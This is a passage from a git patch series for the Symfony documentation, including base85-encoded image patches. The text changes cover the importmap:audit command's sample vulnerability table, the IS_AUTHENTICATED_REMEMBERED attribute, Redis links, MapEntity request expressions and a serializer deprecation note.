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

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 2f969420a9d..28c213c8f61 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -1043,30 +1043,41 @@ This will force the AssetMapper component to re-calculate the content of all fil
 Run Security Audits on Your Dependencies
 ----------------------------------------
 
-Just like ``npm`` and ``yarn``, the AssetMapper component comes bundled with a
-command allowing you to quickly have a look at security vulnerability advisories
-that may exist in the dependencies you're using in your application:
+Similar to ``npm`` and ``yarn``, the AssetMapper component comes bundled with a
+command that checks security vulnerabilities in the dependencies of your application:
 
 .. code-block:: terminal
 
     $ php bin/console importmap:audit
 
-This command will result in an output similar to this:
-
-.. image:: /_images/components/assetmapper/01-importmap-audit.png
-    :alt: Console output showing a table of security vulnerabilities that exist
-    in the dependencies used in the application.
-
-Additionally, the command takes a ``--format`` option to chose in which format
-the output should be. The values supported by this options are the following:
-
-* ``txt``
-* ``json``
+    --------  ---------------------------------------------  ---------  -------  ----------  -----------------------------------------------------
+    Severity  Title                                          Package    Version  Patched in  More info
+    --------  ---------------------------------------------  ---------  -------  ----------  -----------------------------------------------------
+    Medium    jQuery Cross Site Scripting vulnerability      jquery     3.3.1    3.5.0       https://api.github.com/advisories/GHSA-257q-pV89-V3xv
+    Medium    Potential XSS vulnerability in jQuery          jquery     3.3.1    3.5.0       https://api.github.com/advisories/GHSA-jpcq-cgw6-v4j6
+    Medium    Potential XSS vulnerability in jQuery          jquery     3.3.1    3.5.0       https://api.github.com/advisories/GHSA-gxr4-xjj5-5px2
+    Medium    XSS in jQuery as used in Drupal, etc.          jquery     3.3.1    3.4.0       https://api.github.com/advisories/GHSA-6c3j-c64m-qhgg
+    Medium    Prototype Pollution in jQuery                  jquery     3.3.1    3.4.0       https://api.github.com/advisories/GHSA-wV67-q8rr-grjp
+    High      Prototype Pollution in JSON5 via Parse Method  json5      1.0.0    1.0.2       https://api.github.com/advisories/GHSA-9c47-m6qq-7p4h
+    Medium    semver vulnerable to RegExp Denial of Service  semver     4.3.0    5.7.2       https://api.github.com/advisories/GHSA-c2qf-rxjj-qqgw
+    High      RegExp Denial of Service in sever              semver     4.3.0    4.3.2       https://api.github.com/advisories/GHSA-X6fg-f45m-jf5g
+    Critical  Prototype Pollution in minimist                minimist   1.1.3    1.2.6       https://api.github.com/advisories/GHSA-xvch-5gv4-984h
+    Medium    Prototype Pollution in minimist                minimist   1.1.3    1.2.3       https://api.github.com/advisories/GHSA-vh95-rmgr-6w4m
+    Medium    ESLint dependencies are vulnerable             minimist   1.1.3    1.2.2       https://api.github.com/advisories/GHSA-7fhm-mqm4-2wp7
+    Medium    Bootstrap Vulnerable to Cross-Site Scripting   bootstrap  4.1.3    4.3.1       https://api.github.com/advisories/GHSA-9v3M-8fp8-mi99
+    --------  ---------------------------------------------  ---------  -------  ----------  -----------------------------------------------------
+
+    7 packages found: 7 audited / 0 skipped
+    12 vulnerabilities found: 1 Critical / 2 High / 9 Medium
 
 The command will return the ``0`` exit code if no vulnerability is found, or
 the ``-1`` exit code otherwise. This means that you can seamlessly integrate this
-command as part of your CI to be warned anytime a new vulnerability is found
-in the packages you use.
+command as part of your CI to be warned anytime a new vulnerability is found.
+
+.. tip::
+
+    The command takes a ``--format`` option to choose the output format between
+    ``txt`` and ``json``.
 
 .. versionadded:: 6.4
 

From 503aba140abda47a41afd047527b1e1fa1050aed Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 5 Oct 2023 17:12:01 +0200
Subject: [PATCH 3918/5766] [Security] Explain that IS_AUTHENTICATED_REMEMBERED
 should not be used

---
 security.rst | 14 +++++++++-----
 1 file changed, 9 insertions(+), 5 deletions(-)

diff --git a/security.rst b/security.rst
index e33ff85936b..301371bede9 100644
--- a/security.rst
+++ b/security.rst
@@ -2666,11 +2666,6 @@ You can use ``IS_AUTHENTICATED`` anywhere roles are used: like
 user that has logged in will have this. Actually, there are some special attributes
 like this:
 
-* ``IS_AUTHENTICATED_REMEMBERED``: *all* logged in users have this, even
-  if they are logged in because of a "remember me cookie". Even if you don't
-  use the :doc:`remember me functionality </security/remember_me>`,
-  you can use this to check if the user is logged in.
-
 * ``IS_AUTHENTICATED_FULLY``: This is similar to ``IS_AUTHENTICATED_REMEMBERED``,
   but stronger. Users who are logged in only because of a "remember me cookie"
   will have ``IS_AUTHENTICATED_REMEMBERED`` but will not have ``IS_AUTHENTICATED_FULLY``.
@@ -2683,6 +2678,15 @@ like this:
   :doc:`impersonating </security/impersonating_user>` another user in this
   session, this attribute will match.
 
+.. note::
+
+    All logged in users also have an attribute called ``IS_AUTHENTICATED_REMEMBERED``,
+    even if the application doesn't use the Remember Me feature. This attribute
+    exists for backward-compatibility reasons with Symfony versions prior to 6.4.
+
+    This attribute behaves the same as ``IS_AUTHENTICATED``. That's why in modern
+    Symfony applications it's recommended to no longer use ``IS_AUTHENTICATED_REMEMBERED``.
+
 .. _user_session_refresh:
 
 Understanding how Users are Refreshed from the Session

From 95dc3ea19e965216c62f8b3f9acc65a1206b19da Mon Sep 17 00:00:00 2001
From: Steve Nebes <snebes@users.noreply.github.com>
Date: Thu, 5 Oct 2023 21:58:36 -0500
Subject: [PATCH 3919/5766] Redis change default branch and docs location

---
 components/cache/adapters/redis_adapter.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index dc711d6b8e0..511cd442370 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -250,8 +250,8 @@ Read more about this topic in the official `Redis LRU Cache Documentation`_.
 .. _`Data Source Name (DSN)`: https://en.wikipedia.org/wiki/Data_source_name
 .. _`Redis server`: https://redis.io/
 .. _`Redis`: https://github.com/phpredis/phpredis
-.. _`RedisArray`: https://github.com/phpredis/phpredis/blob/master/arrays.markdown#readme
-.. _`RedisCluster`: https://github.com/phpredis/phpredis/blob/master/cluster.markdown#readme
+.. _`RedisArray`: https://github.com/phpredis/phpredis/blob/develop/arrays.md
+.. _`RedisCluster`: https://github.com/phpredis/phpredis/blob/develop/cluster.md
 .. _`Predis`: https://packagist.org/packages/predis/predis
 .. _`Predis Connection Parameters`: https://github.com/nrk/predis/wiki/Connection-Parameters#list-of-connection-parameters
 .. _`TCP-keepalive`: https://redis.io/topics/clients#tcp-keepalive

From 8be44d7e37b5abf900ebcc594c1a13aecb4c3cc1 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 5 Oct 2023 09:25:19 +0200
Subject: [PATCH 3920/5766] [DoctrineBridge] Pass `Request` to
 EntityValueResolver

---
 doctrine.rst | 17 +++++++++++++++++
 1 file changed, 17 insertions(+)

diff --git a/doctrine.rst b/doctrine.rst
index eea51c7d974..0e8cd614598 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -746,6 +746,23 @@ In the example above, the ``$product`` argument is handled automatically,
 but ``$comment`` is configured with the attribute since they cannot both follow
 the default convention.
 
+If you need to get other information from the request to query the database, you
+can also access to the request in your expression thanks to the ``request``
+variable. Let's say you pass the page limit of a list in a query parameter::
+
+    #[Route('/product/{id}/comments')]
+    public function show(
+        Product $product,
+        #[MapEntity(expr: 'repository.findBy(["product_id" => id], null, request.query.get("limit", 10)')]
+        iterable $comments
+    ): Response {
+    }
+
+.. versionadded:: 6.4
+
+    The support for the ``request`` variable in expressions was introduced
+    in Symfony 6.4.
+
 MapEntity Options
 ~~~~~~~~~~~~~~~~~
 

From 83162e3f96cc997d31b7e695d0e2143b33af232f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 6 Oct 2023 16:18:57 +0200
Subject: [PATCH 3921/5766] Remove an unneeded reference to a not recommended
 feature

---
 security.rst | 9 ---------
 1 file changed, 9 deletions(-)

diff --git a/security.rst b/security.rst
index 301371bede9..7285a6b77b4 100644
--- a/security.rst
+++ b/security.rst
@@ -2678,15 +2678,6 @@ like this:
   :doc:`impersonating </security/impersonating_user>` another user in this
   session, this attribute will match.
 
-.. note::
-
-    All logged in users also have an attribute called ``IS_AUTHENTICATED_REMEMBERED``,
-    even if the application doesn't use the Remember Me feature. This attribute
-    exists for backward-compatibility reasons with Symfony versions prior to 6.4.
-
-    This attribute behaves the same as ``IS_AUTHENTICATED``. That's why in modern
-    Symfony applications it's recommended to no longer use ``IS_AUTHENTICATED_REMEMBERED``.
-
 .. _user_session_refresh:
 
 Understanding how Users are Refreshed from the Session

From 3e9af1bc2be7b51b474a1c2d92c3d74b81a4aa37 Mon Sep 17 00:00:00 2001
From: Mathias Arlaud <mathias.arlaud@gmail.com>
Date: Tue, 22 Aug 2023 08:59:05 +0200
Subject: [PATCH 3922/5766] [Serializer] Use NormalizerInterface instead of
 ObjectNormalizer

---
 serializer/custom_normalizer.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index 5b70acecdb5..f3c099e6466 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -48,6 +48,15 @@ to customize the normalized data. To do that, leverage the ``ObjectNormalizer``:
         }
     }
 
+.. deprecated:: 6.1
+
+    Injecting an ``ObjectNormalizer`` in your custom normalizer is deprecated
+    since Symfony 6.1. Implement the
+    :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizerAwareInterface`
+    and use the
+    :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizerAwareTrait` instead
+    to inject the ``$normalizer`` property.
+
 Registering it in your Application
 ----------------------------------
 

From ddbb0c00a78e9996ff2ca909c9aade6ee5c4d61f Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Simon=20Andr=C3=A9?= <smn.andre@gmail.com>
Date: Sat, 7 Oct 2023 13:08:12 +0200
Subject: [PATCH 3923/5766] Update profiler capture

---
 _images/profiler/web-interface.png | Bin 126397 -> 304561 bytes
 1 file changed, 0 insertions(+), 0 deletions(-)

diff --git a/_images/profiler/web-interface.png b/_images/profiler/web-interface.png
index 2a1bc8a0650a75de1472c7fd18141711954b67b2..b107f6427d79e59283125467f0a9c8fc3ab6b5d6 100644
GIT binary patch
literal 304561
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
